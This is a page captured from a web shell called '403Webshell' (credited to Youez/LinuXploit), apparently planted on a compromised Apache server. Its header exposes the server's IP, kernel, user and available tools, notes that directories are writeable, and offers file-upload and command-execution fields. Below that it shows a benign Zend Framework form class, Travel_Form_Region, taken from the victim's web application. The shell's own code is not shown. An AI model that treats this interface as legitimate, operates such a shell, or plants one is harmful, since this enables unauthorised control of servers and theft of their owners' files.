403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/forms/Region.php
<?php
/* 
 *  Form Region
 *  
 * @name		Region
 * @author		Shailender Joshi
 * @created		19 Oct 2016
 * @updated		19 Oct 2016
 */

class Travel_Form_Region extends Zend_Form {
      
    public function __construct($params = null) {


    /************ Title  *****************/
    $Title = $this->createElement('text','Title',
                        array(
                             'value' => trim($params['Title']),
                             'class' => 'form-control whbg',
                            'required'=>true,
                            'filters' => array('StringTrim'),
                            //'validators' => array(array('StringLength', false, array(3, 100))),
                     ))	 
                    ->setErrorMessages(array('Please enter Title'))
                    ->removeDecorator('label')
                    ->removeDecorator('HtmlTag')
                    ->removeDecorator('DtDdWrapper');
        
    /************ Code  *****************/
    $Code = $this->createElement('text','Code',
            
            array(
                'value' => trim($params['Code']),
                'class' => 'form-control whbg',
                'required'=>false,
                'filters' => array('StringTrim'),
                //'validators' => array(array('StringLength', false, array(3, 100))),
            ))	 
            ->setErrorMessages(array('Please enter Code'))
            ->removeDecorator('label')
            ->removeDecorator('HtmlTag')
            ->removeDecorator('DtDdWrapper');
	
    
    $dataMenu = array();
    $dataMenu[""]="--Select--";
    $TypeList = $this->createElement('select', 'Type');
    $dataarray = Zend_Controller_Action_HelperBroker::getStaticHelper('General')->regionType();
    foreach ($dataarray as $k=>$data) {
            $dataMenu[$k] = $data;
    }
    
    $TypeList->setRequired(true);
    $TypeList->setMultiOptions($dataMenu);
    $TypeList->setErrorMessages(array('Select region type'));
    $TypeList->removeDecorator('label');
    $TypeList->removeDecorator('HtmlTag');
    //$languageList->setAttrib('onchange', 'getSubMenu(this.value)');
    $TypeList->class = "form-control";
    //echo '<pre>';print_r($TypeList);die;            
                
	        
	$this->addElements(array(  
            $Title,
            $Code,
            $TypeList
           ));     
    }
    
}


Youez - 2016 - github.com/yon3zu
LinuXploit